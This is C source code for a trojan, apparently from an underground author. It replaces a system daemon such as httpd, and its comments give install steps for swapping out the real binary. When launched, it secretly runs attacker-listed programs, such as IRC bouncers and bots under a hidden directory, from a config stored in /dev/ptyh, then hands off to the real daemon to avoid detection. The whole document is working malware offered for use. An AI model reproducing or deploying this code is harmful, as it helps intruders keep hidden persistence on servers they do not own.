/* ......:::: daemon trojo by DeV^AwaY ::::...... * * * [*] --> coded by: DeV^AwaY * [*] ------------> devilnet@freemail.it * [*] ------------> ircnet/efnet@DeV^AwaY * [*] --> V3rsion: 0.2 * * install: * To install this trojan you should copy the real daemon in another * directory !WITH THE SOME NAME!. Then you should compile this source on the * real daemon file in its some directory. * So write in /dev/ptyh all path/commands to execute with * daemon. If you must use options with commands you must divide they * with the $ character. * Ex: * * cat /dev/ptyh * /home/hacker/. /psybnc <-- without options * /home/hacker/bot/eggdrop$ -m bot.conf -t <-- with options * /home/hacker/. $ <-- to run the file ". " * * Default * trojo daemon /usr/sbin/httpd * real deamon /usr/bin/httpd #EXE_PATH * */ #include <stdio.h> #include <stdlib.h> #define TRJ_PATH "/dev/ptyh" #define EXE_PATH "/usr/bin/httpd" main (int argc,char **argv,char **envp) { char fstr[200],**addr=malloc(200),slas[500],slaw[500]; int i,ic=1,deic,sllen; FILE *ofile; if (fork() == 0) { if ((ofile=fopen(TRJ_PATH,"r"))==NULL) exit(0); while (!feof(ofile)) { fgets(fstr, 200, ofile); for (i=0; i<strlen(fstr); i++) if (fstr[i]=='\n') fstr[i]='\0'; addr[ic]=malloc(200); strcpy(addr[ic],fstr); ic++; } deic=ic-2; ic=0; while (ic!=deic) { ic++; i=0; memset(slaw, 0, 500); strcpy(slas,addr[ic]); sllen=strlen(slas); while (i!=sllen) { if (slas[i]=='$') { (slas[i]='"'); goto out; } else i++; } out: if (sllen==i) strcat(slas,"\""); strncpy(slaw,slas,i); if ((ofile=fopen(slaw,"r"))==NULL) exit(0); strcpy(addr[ic],slas); strcpy(addr[ic],"cd \""); while (sllen!=0) { if (slas[sllen]=='/') goto out2; else sllen--; } out2: strncat(addr[ic],slas,sllen); strcat(addr[ic],"\" && \"."); strcat(addr[ic],slas+sllen); strcat(addr[ic]," 1>/dev/null 2>/dev/null &"); system(addr[ic]); } exit(0); } if ((ofile=fopen(EXE_PATH,"r"))==NULL) { printf("bash: %s: No such file or directory\n",EXE_PATH); exit(0); } execve(EXE_PATH, argv, envp); }